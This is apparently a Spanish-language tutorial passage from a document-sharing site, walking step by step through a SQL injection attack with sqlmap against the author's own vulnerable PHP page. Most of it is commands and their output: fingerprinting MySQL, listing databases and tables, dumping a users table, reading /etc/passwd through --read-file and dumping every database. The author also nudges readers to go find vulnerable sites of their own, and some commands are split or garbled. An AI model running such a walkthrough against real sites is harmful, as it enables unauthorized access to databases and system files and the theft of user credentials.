Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
que aparentemente es vulnerable: http://[mi_servidor]/detail.php?id=8492019 Aparentemente no: !es vulnerable porque la he programado yo. Si ests ansioso por encontrar webs, toma y busca. Empezamos atacando la Web con sqlmap. Lo primero que haremos es ver que versin tiene de MySQL con el parmetro "-b":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" -b
[21:58:01] [WARNING] User-Agent parameter 'User-Agent' is not dynamic back-end DBMS: MySQL >= 5.0.0
banner:
'5.0.51b-community'
Vemos que tiene MySql 5.0.51. Ahora queremos saber el nombre de la base de datos con la que est trabajando esta aplicacin. Utilizamos el parmetro "--current-db":
[22:09:08] [WARNING] User-Agent parameter 'User-Agent' is not dynamic back-end DBMS: MySQL >= 5.0.0
current database:
'midb'
La base de datos se llama midb. Veamos ahora las tablas de esta base de datos. Utilizamos los parmetros "--tables -D midb". # ./sqlmap.py midb -u "http://192.168.1.5/detail.php?code=8492019" --tables -D
[22:11:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic back-end DBMS: MySQL >= 5.0.0
+----------+
Bingo!. Vemos que tiene una tabla llamada "users", donde posiblemente estn lo usuarios que se logean desde la pagina principal llamada "login.php". Veamos la estructura de esta tabla. Utilizamos los parmetros "--columns -T users -D midb":
-u "http://192.168.1.5/detail.php?code=8492019"
--columns
-T
[22:13:35] [WARNING] User-Agent parameter 'User-Agent' is not dynamic back-end DBMS: MySQL >= 5.0.0
+----------+------------------+
Veamos el contenido de esta tabla. Utilizamos los parmetros "--dump -T users -D midb":
[22:16:19] [WARNING] User-Agent parameter 'User-Agent' is not dynamic back-end DBMS: MySQL >= 5.0.0
+----+---------------+----------+
Ahora la pregunta es saber si tenemos acceso a otras bases de datos. La respuesta es depende. Depende
del nivel de seguridad que tenga la aplicacin. Naturalmente esta aplicacin es ma y no tiene ningn nivel de seguridad. Veamos que otras bases de datos hay. Utilizamos "--dbs":
[22:31:26] [WARNING] User-Agent parameter 'User-Agent' is not dynamic back-end DBMS: MySQL >= 5.0.0
available databases [6]: [*] information_schema [*] midb [*] mysql [*] phpmyadmin [*] test [*] webauth
[22:32:45] [WARNING] User-Agent parameter 'User-Agent' is not dynamic back-end DBMS: MySQL >= 5.0.0
Solo existe un usuario root. Aqui est uno de los problemas. Estamos utilizando el usuario root que trae por defecto MySQL para acceder por PHP. Si estamos utilizando el usuario root para nuestras sentencias de SQL eso quiere decir que podemos hacer llamadas al sistema:
# ./sqlmap.py /etc/passwd
-u
"http://192.168.1.5/detail.php?code=8492019"
--read-file
[22:59:11] [WARNING] User-Agent parameter 'User-Agent' is not dynamic back-end DBMS: MySQL >= 5.0.0
/etc/passwd: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/false backup:x:34:34:backup:/var/backups:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false
Para terminar tenemos un dump de todo el MySql. Utilizamos "--eta --dump-all -v 1". Esto puede tardar bastante y no volcar el resultado.